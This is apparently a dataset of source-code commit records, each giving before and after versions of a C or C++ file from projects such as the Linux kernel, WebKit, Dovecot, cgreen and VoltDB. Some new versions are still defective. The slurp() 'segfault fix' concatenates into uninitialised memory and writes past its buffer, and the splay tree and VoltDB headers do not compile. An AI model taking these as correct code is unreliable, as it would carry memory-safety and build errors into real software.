{"commit":"38551576a35f1b48b6b359470d6e876c5b671ab6","old_file":"include\/asm-mips\/bugs.h","new_file":"include\/asm-mips\/bugs.h","old_contents":"\/*\n * This is included by init\/main.c to check for architecture-dependent bugs.\n *\n * Needs:\n *\tvoid check_bugs(void);\n *\/\n#ifndef _ASM_BUGS_H\n#define _ASM_BUGS_H\n\n#include <linux\/config.h>\n#include <asm\/cpu.h>\n#include <asm\/cpu-info.h>\n\nextern void check_bugs32(void);\nextern void check_bugs64(void);\n\nstatic inline void check_bugs(void)\n{\n\tunsigned int cpu = smp_processor_id();\n\n\tcpu_data[cpu].udelay_val = loops_per_jiffy;\n\tcheck_bugs32();\n#ifdef CONFIG_64BIT\n\tcheck_bugs64();\n#endif\n}\n\n#endif \/* _ASM_BUGS_H *\/\n","new_contents":"\/*\n * This is included by init\/main.c to check for architecture-dependent bugs.\n *\n * Needs:\n *\tvoid check_bugs(void);\n *\/\n#ifndef _ASM_BUGS_H\n#define _ASM_BUGS_H\n\n#include <linux\/config.h>\n#include <linux\/delay.h>\n#include <asm\/cpu.h>\n#include <asm\/cpu-info.h>\n\nextern void check_bugs32(void);\nextern void check_bugs64(void);\n\nstatic inline void check_bugs(void)\n{\n\tunsigned int cpu = smp_processor_id();\n\n\tcpu_data[cpu].udelay_val = loops_per_jiffy;\n\tcheck_bugs32();\n#ifdef CONFIG_64BIT\n\tcheck_bugs64();\n#endif\n}\n\n#endif \/* _ASM_BUGS_H *\/\n","subject":"Build fix for certain configurations.","message":"Build fix for certain configurations.\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"0987af61d808c8e8756c2489a90827698d7a7429","old_file":"splaytree.h","new_file":"splaytree.h","old_contents":"","new_contents":"#pragma once\n\n\/*\n * Splay tree - a self-Adjusting binary search tree,\n * as first described by Daniel Dominic Sleator and Robert Endre Tarjan.\n *\n * https:\/\/www.cs.cmu.edu\/~sleator\/papers\/self-adjusting.pdf\n *\/\ntemplace<class T>\nclass SplayTree {\n  private:\n    struct Node {\n      Node*  left;\n      Node*  right;\n      Node*  parent;\n      T      data;\n\n      void   rotateLeft()   {}\n      void   rotateRight()  {}\n      void   splay()        {}\n    };\n\n  public:\n    void   insert(const T& data) {}\n    void   remove(const T& data) {}\n    Node*  find(const T& data)   {}\n};\n","subject":"Add skeleton for the splay tree implementation","message":"Add skeleton for the splay tree implementation\n","lang":"C","license":"bsd-2-clause","repos":"culot\/cpp-structs"}
{"commit":"106f354f1fe8dc196665df581ea7b4e986b70ca6","old_file":"JavaScriptCore\/wtf\/unicode\/Unicode.h","new_file":"JavaScriptCore\/wtf\/unicode\/Unicode.h","old_contents":"\/\/ -*- c-basic-offset: 2 -*-\n\/*\n *  This file is part of the KDE libraries\n *  Copyright (C) 2006 George Staikos <staikos@kde.org>\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Library General Public\n *  License as published by the Free Software Foundation; either\n *  version 2 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Library General Public License for more details.\n *\n *  You should have received a copy of the GNU Library General Public License\n *  along with this library; see the file COPYING.LIB.  If not, write to\n *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n *  Boston, MA 02110-1301, USA.\n *\n *\/\n\n#ifndef KJS_UNICODE_H\n#define KJS_UNICODE_H\n\n#include <wtf\/Platform.h>\n\n#if USE(QT4_UNICODE)\n#include \"qt4\/UnicodeQt4.h\"\n#elif USE(ICU_UNICODE)\n#include <wtf\/icu\/UnicodeIcu.h>\n#else\n#error \"Unknown Unicode implementation\"\n#endif\n\n#endif\n\/\/ vim: ts=2 sw=2 et\n","new_contents":"\/\/ -*- c-basic-offset: 2 -*-\n\/*\n *  This file is part of the KDE libraries\n *  Copyright (C) 2006 George Staikos <staikos@kde.org>\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Library General Public\n *  License as published by the Free Software Foundation; either\n *  version 2 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Library General Public License for more details.\n *\n *  You should have received a copy of the GNU Library General Public License\n *  along with this library; see the file COPYING.LIB.  If not, write to\n *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n *  Boston, MA 02110-1301, USA.\n *\n *\/\n\n#ifndef KJS_UNICODE_H\n#define KJS_UNICODE_H\n\n#include <wtf\/Platform.h>\n\n#if USE(QT4_UNICODE)\n#include \"qt4\/UnicodeQt4.h\"\n#elif USE(ICU_UNICODE)\n#include <wtf\/unicode\/icu\/UnicodeIcu.h>\n#else\n#error \"Unknown Unicode implementation\"\n#endif\n\n#endif\n\/\/ vim: ts=2 sw=2 et\n","subject":"Fix mac bustage (more still).","message":"Fix mac bustage (more still).\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@18103 bbb929c8-8fbe-4397-9dbb-9b2b20218538","lang":"C","license":"bsd-3-clause","repos":"primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs,primiano\/blink-gitcs"}
{"commit":"c66bc667f912f6144223b6d259061942221a6469","old_file":"src\/slurp.c","new_file":"src\/slurp.c","old_contents":"#include <cgreen\/slurp.h>\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic char *read_all(FILE *file, int gulp);\n\nchar *slurp(const char *file_name, int gulp) {\n    FILE *file = fopen(file_name, \"r\");\n    if (file == NULL) {\n        return NULL;\n    }\n    char *content = read_all(file, gulp);\n    fclose(file);\n    return content;\n}\n\nstatic char *read_all(FILE *file, int gulp) {\n    char *content = (char *)malloc((gulp + 1) * sizeof(char));\n    char *block = content;\n    for ( ; ; ) {\n        if (fgets(block, gulp + 1, file) == NULL) {\n            break;\n        }\n        block += gulp;\n        content = (char *)realloc(content, (block - content + 1) * sizeof(char));\n    }\n    return content;\n}\n","new_contents":"#include <cgreen\/slurp.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <strings.h>\n\nstatic char *read_all(FILE *file, int gulp);\n\nchar *slurp(const char *file_name, int gulp) {\n    FILE *file = fopen(file_name, \"r\");\n    if (file == NULL) {\n        return NULL;\n    }\n    char *content = read_all(file, gulp);\n    fclose(file);\n    return content;\n}\n\nstatic char *read_all(FILE *file, int gulp) {\n    char *content = (char *)malloc(0);\n    int sblock = (gulp + 1) * sizeof(char);\n    char *block = (char *)malloc(sblock);\n    int len = 0;\n    int add = 0;\n    char *p;\n    for ( ; ; ) {\n        if (fgets(block, sblock, file) == NULL) {\n            break;\n        }\n\t\n        len  = strlen(block);\n\tadd += len;\n\n        p = (char *)realloc(content, add + 1);\n\tif (p == NULL) {\n\t\texit(1);\n\t}\n        content = p;\n\n\tstrncat(content, block, len);\n    }\n    content[add + 1] = '\\0';\n    free(block);\n    return content;\n}\n\n","subject":"Fix read_all and return content without segment fault","message":"Fix read_all and return content without segment fault","lang":"C","license":"lgpl-2.1","repos":"ykaliuta\/cgreen-old,ykaliuta\/cgreen-old,ykaliuta\/cgreen-old,ykaliuta\/cgreen-old,ykaliuta\/cgreen-old"}
{"commit":"363f0c512d06d9d428ffe9529a5089e929b7c174","old_file":"XCDYouTubeKit\/XCDYouTubeKit.h","new_file":"XCDYouTubeKit\/XCDYouTubeKit.h","old_contents":"\/\/\n\/\/  Copyright (c) 2013-2015 Cédric Luthi. All rights reserved.\n\/\/\n\n#import <Availability.h>\n\n#import <XCDYouTubeKit\/XCDYouTubeClient.h>\n#import <XCDYouTubeKit\/XCDYouTubeError.h>\n#import <XCDYouTubeKit\/XCDYouTubeOperation.h>\n#import <XCDYouTubeKit\/XCDYouTubeVideo.h>\n#import <XCDYouTubeKit\/XCDYouTubeVideoOperation.h>\n\n#if TARGET_OS_IPHONE\n#import <XCDYouTubeKit\/XCDYouTubeVideoPlayerViewController.h>\n#endif\n","new_contents":"\/\/\n\/\/  Copyright (c) 2013-2015 Cédric Luthi. All rights reserved.\n\/\/\n\n#import <TargetConditionals.h>\n\n#import <XCDYouTubeKit\/XCDYouTubeClient.h>\n#import <XCDYouTubeKit\/XCDYouTubeError.h>\n#import <XCDYouTubeKit\/XCDYouTubeOperation.h>\n#import <XCDYouTubeKit\/XCDYouTubeVideo.h>\n#import <XCDYouTubeKit\/XCDYouTubeVideoOperation.h>\n\n#if TARGET_OS_IOS || (!defined(TARGET_OS_IOS) && TARGET_OS_IPHONE)\n#import <XCDYouTubeKit\/XCDYouTubeVideoPlayerViewController.h>\n#endif\n","subject":"Fix conditional import of XCDYouTubeVideoPlayerViewController.h","message":"Fix conditional import of XCDYouTubeVideoPlayerViewController.h\n\nTARGET_OS_IPHONE used to mean iOS (iPhone or iPad) device or simulator. With recent SDKs it means iOS or watchOS or tvOS.\n","lang":"C","license":"mit","repos":"c0unt0\/XCDYouTubeKit,twobitlabs\/XCDYouTubeKit,morrisirrom\/XCDYouTubeKit,twobitlabs\/XCDYouTubeKit,twobitlabs\/XCDYouTubeKit,mingsai\/XCDYouTubeVideoPlayerViewController,mingsai\/XCDYouTubeVideoPlayerViewController,kumabook\/XCDYouTubeKit,creationst\/XCDYouTubeKit,creationst\/XCDYouTubeKit,0xced\/XCDYouTubeKit,kumabook\/XCDYouTubeKit,itamaker\/XCDYouTubeKit,c0unt0\/XCDYouTubeKit,mingsai\/XCDYouTubeVideoPlayerViewController,gshaviv\/XCDYouTubeVideoPlayerViewController,0xced\/XCDYouTubeKit,gshaviv\/XCDYouTubeVideoPlayerViewController,gshaviv\/XCDYouTubeVideoPlayerViewController,twobitlabs\/XCDYouTubeKit,morrisirrom\/XCDYouTubeKit,kumabook\/XCDYouTubeKit,mingsai\/XCDYouTubeVideoPlayerViewController,0xced\/XCDYouTubeKit,creationst\/XCDYouTubeKit,kumabook\/XCDYouTubeKit,kumabook\/XCDYouTubeKit,itamaker\/XCDYouTubeKit,creationst\/XCDYouTubeKit,gshaviv\/XCDYouTubeVideoPlayerViewController,morrisirrom\/XCDYouTubeKit,kumabook\/XCDYouTubeKit,gshaviv\/XCDYouTubeVideoPlayerViewController,gshaviv\/XCDYouTubeVideoPlayerViewController,c0unt0\/XCDYouTubeKit,c0unt0\/XCDYouTubeKit,morrisirrom\/XCDYouTubeKit,0xced\/XCDYouTubeKit,c0unt0\/XCDYouTubeKit,morrisirrom\/XCDYouTubeKit"}
{"commit":"9d357c7c8a3be7658385bd77aa9aec625c3df1f4","old_file":"Source\/Sources\/SVGKSourceLocalFile.h","new_file":"Source\/Sources\/SVGKSourceLocalFile.h","old_contents":"\/**\n \n *\/\n#import \"SVGKSource.h\"\n\n@interface SVGKSourceLocalFile : SVGKSource\n\n@property (nonatomic, retain) NSString* filePath;\n\n+ (SVGKSource*)sourceFromFilename:(NSString*)p;\n\n@end\n","new_contents":"\/**\n \n *\/\n#import \"SVGKSource.h\"\n\n@interface SVGKSourceLocalFile : SVGKSource\n\n@property (nonatomic, copy) NSString* filePath;\n\n+ (SVGKSource*)sourceFromFilename:(NSString*)p;\n\n@end\n","subject":"Copy the file path, just in case the string was mutable.","message":"Copy the file path, just in case the string was mutable.\n","lang":"C","license":"mit","repos":"MaddTheSane\/SVGKit,seltzered\/SVGKit,seltzered\/SVGKit,seltzered\/SVGKit,seltzered\/SVGKit,seltzered\/SVGKit,MaddTheSane\/SVGKit,MaddTheSane\/SVGKit,seltzered\/SVGKit,MaddTheSane\/SVGKit,MaddTheSane\/SVGKit"}
{"commit":"bb773ca9335bbd031cf3bed7149d2927c713fff7","old_file":"test\/execute\/0004-operators4.c","new_file":"test\/execute\/0004-operators4.c","old_contents":"","new_contents":"\nint\nmain()\n{\n\tint x;\n\tint y;\n\t\n\tx = 1;\n\ty = 1;\n\tx = y = 0;\n\tif(x != 0)\n\t\treturn 1;\n\tif(y != 0)\n\t\treturn 1;\n\treturn 0;\n}\n","subject":"Add test for assign as rval","message":"Add test for assign as rval\n","lang":"C","license":"bsd-2-clause","repos":"xtao\/c,andrewchambers\/c,andrewchambers\/c,xtao\/c"}
{"commit":"971bf2dec2bcf281059c8fe23885d8374571464d","old_file":"ch05\/atomapp\/atomapp.c","new_file":"ch05\/atomapp\/atomapp.c","old_contents":"","new_contents":"\/\/ for exit, strtol, EXIT_SUCCESS, EXIT_FAILURE\n#include <stdlib.h>\n\/\/ for fprintf, stderr\n#include <stdio.h>\n\/\/ for bool, true, false\n#include <stdbool.h>\n\n\/**\n * Options from the command line.\n *\/\nstruct opts {\n\t\/** The filename. *\/\n\tchar * filename;\n\n\t\/** The number of bytes to write. *\/\n\tint num_bytes;\n\n\t\/** Whether O_APPEND should be used. *\/\n\tbool append;\n};\n\n\/**\n * Prints usage.\n *\/\nstatic void usage(void)\n{\n\tfprintf(stderr, \"Usage: atomic_append filename num-bytes [x]\\n\");\n}\n\n\/**\n * Reads command line options.\n *\/\nstatic bool read_opts(struct opts * options, int argc, char * argv[])\n{\n\tchar * end;\n\n\tif (argc < 3 || argc > 4) {\n\t\t\/\/ to few or many options supplied\n\t\treturn false;\n\t}\n\n\toptions->filename = argv[1];\n\n\toptions->num_bytes = strtol(argv[2], &end, 10);\n\tif (*end != '\\0') {\n\t\t\/\/ 2nd argument not a number\n\t\treturn false;\n\t}\n\n\t\/\/ use 3rd argument to ommit O_APPEND\n\toptions->append = argc != 4;\n\n\t\/\/ success\n\treturn true;\n}\n\nint main(int argc, char * argv[])\n{\n\tstruct opts options;\n\n\tif (!read_opts(&options, argc, argv)) {\n\t\tusage();\n\t\texit(EXIT_FAILURE);\n\t}\n\n\tprintf(\"filename: %s\\n\", options.filename);\n\tprintf(\"num-bytes: %i\\n\", options.num_bytes);\n\tprintf(\"append: %s\\n\", options.append ? \"yes\" : \"no\");\n\n\treturn 0;\n}\n","subject":"Read and print command line options in 5-3","message":"Read and print command line options in 5-3\n","lang":"C","license":"mit","repos":"enil\/tlpi-exercises,enil\/tlpi-exercises,enil\/tlpi-exercises"}
{"commit":"7fe977dab356fbd7e86aa10bf83891761107c57c","old_file":"arch\/x86\/kernel\/sys_i386_32.c","new_file":"arch\/x86\/kernel\/sys_i386_32.c","old_contents":"\/*\n * This file contains various random system calls that\n * have a non-standard calling sequence on the Linux\/i386\n * platform.\n *\/\n\n#include <linux\/errno.h>\n#include <linux\/sched.h>\n#include <linux\/mm.h>\n#include <linux\/fs.h>\n#include <linux\/smp.h>\n#include <linux\/sem.h>\n#include <linux\/msg.h>\n#include <linux\/shm.h>\n#include <linux\/stat.h>\n#include <linux\/syscalls.h>\n#include <linux\/mman.h>\n#include <linux\/file.h>\n#include <linux\/utsname.h>\n#include <linux\/ipc.h>\n\n#include <linux\/uaccess.h>\n#include <linux\/unistd.h>\n\n#include <asm\/syscalls.h>\n\n\/*\n * Do a system call from kernel instead of calling sys_execve so we\n * end up with proper pt_regs.\n *\/\nint kernel_execve(const char *filename,\n\t\t  const char *const argv[],\n\t\t  const char *const envp[])\n{\n\tlong __res;\n\tasm volatile (\"push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx\"\n\t: \"=a\" (__res)\n\t: \"0\" (__NR_execve), \"ri\" (filename), \"c\" (argv), \"d\" (envp) : \"memory\");\n\treturn __res;\n}\n","new_contents":"\/*\n * This file contains various random system calls that\n * have a non-standard calling sequence on the Linux\/i386\n * platform.\n *\/\n\n#include <linux\/errno.h>\n#include <linux\/sched.h>\n#include <linux\/mm.h>\n#include <linux\/fs.h>\n#include <linux\/smp.h>\n#include <linux\/sem.h>\n#include <linux\/msg.h>\n#include <linux\/shm.h>\n#include <linux\/stat.h>\n#include <linux\/syscalls.h>\n#include <linux\/mman.h>\n#include <linux\/file.h>\n#include <linux\/utsname.h>\n#include <linux\/ipc.h>\n\n#include <linux\/uaccess.h>\n#include <linux\/unistd.h>\n\n#include <asm\/syscalls.h>\n\n\/*\n * Do a system call from kernel instead of calling sys_execve so we\n * end up with proper pt_regs.\n *\/\nint kernel_execve(const char *filename,\n\t\t  const char *const argv[],\n\t\t  const char *const envp[])\n{\n\tlong __res;\n\tasm volatile (\"int $0x80\"\n\t: \"=a\" (__res)\n\t: \"0\" (__NR_execve), \"b\" (filename), \"c\" (argv), \"d\" (envp) : \"memory\");\n\treturn __res;\n}\n","subject":"Make kernel_execve() suitable for stack unwinding","message":"i386: Make kernel_execve() suitable for stack unwinding\n\nThe explicit saving and restoring of %ebx was confusing stack\nunwind data consumers, and it is plain unnecessary to do this\nwithin the asm(), since that was only introduced for PIC user\nmode consumers of the original _syscall3() macro this was\nderived from.\n\nSigned-off-by: Jan Beulich <01de09643e0ae62e116f8bd77de435799874b456@novell.com>\nCc: Arnd Bergmann <f2c659f01951776204a6c5b902787d9019fbeebd@arndb.de>\nLKML-Reference: <e5dad6bcedd721dbd69f509e405e80212e41ba1e@vpn.id2.novell.com>\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@elte.hu>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"9ada9b0d140398e624ddf2256dfd7d850312ffa3","old_file":"src\/ee\/common\/UndoQuantumReleaseInterest.h","new_file":"src\/ee\/common\/UndoQuantumReleaseInterest.h","old_contents":"\/* This file is part of VoltDB.\n * Copyright (C) 2008-2019 VoltDB Inc.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with VoltDB.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef UNDOQUANTUM_RELEASE_INTEREST_H_\n#define UNDOQUANTUM_RELEASE_INTEREST_H_\n\nnamespace voltdb {\nclass UndoQuantumReleaseInterest {\npublic:\n    virtual void notifyQuantumRelease() = 0;\n    virtual ~UndoQuantumReleaseInterest() {}\n\n    inline bool isNewReleaseInterest(int64_t currentUndoToken) {\n        if (m_lastSeenUndoToken == currentUndoToken) {\n            return false;\n        }\n        else {\n            m_lastSeenUndoToken = currentUndoToken;\n            return true;\n        }\n    }\nprivate:\n    int64_t m_lastSeenUndoToken;\n};\n}\n\n#endif \/* UNDOQUANTUM_H_ *\/\n","new_contents":"\/* This file is part of VoltDB.\n * Copyright (C) 2008-2019 VoltDB Inc.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with VoltDB.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef UNDOQUANTUM_RELEASE_INTEREST_H_\n#define UNDOQUANTUM_RELEASE_INTEREST_H_\n\nnamespace voltdb {\nclass UndoQuantumReleaseInterest {\npublic:\n    UndoQuantumReleaseInterest() : m_lastSeenUndoToken(-1);\n    virtual void notifyQuantumRelease() = 0;\n    virtual ~UndoQuantumReleaseInterest() {}\n\n    inline bool isNewReleaseInterest(int64_t currentUndoToken) {\n        if (m_lastSeenUndoToken == currentUndoToken) {\n            return false;\n        }\n        else {\n            m_lastSeenUndoToken = currentUndoToken;\n            return true;\n        }\n    }\nprivate:\n    int64_t m_lastSeenUndoToken;\n};\n}\n\n#endif \/* UNDOQUANTUM_H_ *\/\n","subject":"Fix Valgrind variable initialization issue.","message":"ENG-15084:\nFix Valgrind variable initialization issue.\n","lang":"C","license":"agpl-3.0","repos":"VoltDB\/voltdb,VoltDB\/voltdb,VoltDB\/voltdb,VoltDB\/voltdb,VoltDB\/voltdb,VoltDB\/voltdb,VoltDB\/voltdb"}
{"commit":"c8a66e76734dc2f6066b113aba3085c20f34f00b","old_file":"Settings\/Controls\/ProgressBar.h","new_file":"Settings\/Controls\/ProgressBar.h","old_contents":"#pragma once\n\n#include \"Control.h\"\n#include \"StatusCallback.h\"\n\nclass ProgressBar : public Control, public StatusCallback {\npublic:\n    ProgressBar(int id, Dialog &parent, bool translate = true) :\n    Control(id, parent, translate) {\n\n    }\n\nprotected:\n    virtual IFACEMETHODIMP OnProgress(\n        unsigned long ulProgress,\n        unsigned long ulProgressMax,\n        unsigned long ulStatusCode,\n        LPCWSTR szStatusText\n    );\n};","new_contents":"#pragma once\n\n#include \"Control.h\"\n#include \"StatusCallback.h\"\n#include <CommCtrl.h>\n\nclass ProgressBar : public Control, public StatusCallback {\npublic:\n    ProgressBar(int id, Dialog &parent, bool translate = true) :\n    Control(id, parent, translate) {\n\n    }\n\n    void Range(int min, int max) {\n        SendMessage(_hWnd, PBM_SETRANGE32, min, max);\n    }\n\n    void Position(int pos) {\n        SendMessage(_hWnd, PBM_SETPOS, pos, 0);\n    }\n\n    void Marquee(bool enabled, int refresh = 30) {\n        SendMessage(_hWnd, PBM_SETMARQUEE, enabled, refresh);\n    }\n\nprotected:\n    virtual IFACEMETHODIMP OnProgress(\n        unsigned long ulProgress,\n        unsigned long ulProgressMax,\n        unsigned long ulStatusCode,\n        LPCWSTR szStatusText\n    );\n};","subject":"Add basic implementation of progress bar methods","message":"Add basic implementation of progress bar methods\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"0504744a68b12790189e00ea21289ced208f88e1","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(Client *client)\n{\n\tconst char *mailbox;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\n\tif (!client_verify_mailbox_name(client, mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mailbox[strlen(mailbox)-1] == client->storage->hierarchy_sep) {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create a mailbox under\n\t\t   this name. we don't need that information. *\/\n\t} else if (!client->storage->create_mailbox(client->storage, mailbox)) {\n\t\tclient_send_storage_error(client);\n\t\treturn TRUE;\n\t}\n\n\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(Client *client)\n{\n\tconst char *mailbox;\n\tint ignore;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\n\tignore = mailbox[strlen(mailbox)-1] == client->storage->hierarchy_sep;\n\tif (ignore) {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create a mailbox under\n\t\t   this name. we don't need that information, but verify\n\t\t   that the mailbox name is valid *\/\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(client, mailbox, FALSE, !ignore))\n\t\treturn TRUE;\n\n\tif (!ignore &&\n\t    !client->storage->create_mailbox(client->storage, mailbox)) {\n\t\tclient_send_storage_error(client);\n\t\treturn TRUE;\n\t}\n\n\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE mailbox<hierarchy separator> failed always.","message":"CREATE mailbox<hierarchy separator> failed always.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jkerihuel\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,dscho\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch"}
{"commit":"37a5cee2b4362014d6c0f81c82b2f75d7a5204f6","old_file":"src\/lib\/str-sanitize.c","new_file":"src\/lib\/str-sanitize.c","old_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","new_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","subject":"Convert also 0x80..0x9f characters to '?'","message":"Convert also 0x80..0x9f characters to '?'\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jwm\/dovecot-notmuch"}
{"commit":"c5f452b443b6e198d5ebeee9e2fa9b9efafcf61e","old_file":"include\/swift\/Basic\/Timer.h","new_file":"include\/swift\/Basic\/Timer.h","old_contents":"\/\/===--- Timer.h - Shared timers for compilation phases ---------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_TIMER_H\n#define SWIFT_BASIC_TIMER_H\n\n#include \"swift\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/Optional.h\"\n#include \"llvm\/Support\/Timer.h\"\n\nnamespace swift {\n  \/\/\/ A convenience class for declaring a timer that's part of the Swift\n  \/\/\/ compilation timers group.\n  class SharedTimer {\n    enum class State {\n      Initial,\n      Skipped,\n      Enabled\n    };\n    static State CompilationTimersEnabled;\n\n    Optional<llvm::NamedRegionTimer> Timer;\n\n  public:\n    explicit SharedTimer(StringRef name) {\n      if (CompilationTimersEnabled == State::Enabled)\n        Timer.emplace(name, StringRef(\"Swift compilation\"), StringRef(\"swift\"),\n                      StringRef(\"swift related timers\"));\n      else\n        CompilationTimersEnabled = State::Skipped;\n    }\n\n    \/\/\/ Must be called before any SharedTimers have been created.\n    static void enableCompilationTimers() {\n      assert(CompilationTimersEnabled != State::Skipped &&\n             \"a timer has already been created\");\n      CompilationTimersEnabled = State::Enabled;\n    }\n  };\n} \/\/ end namespace 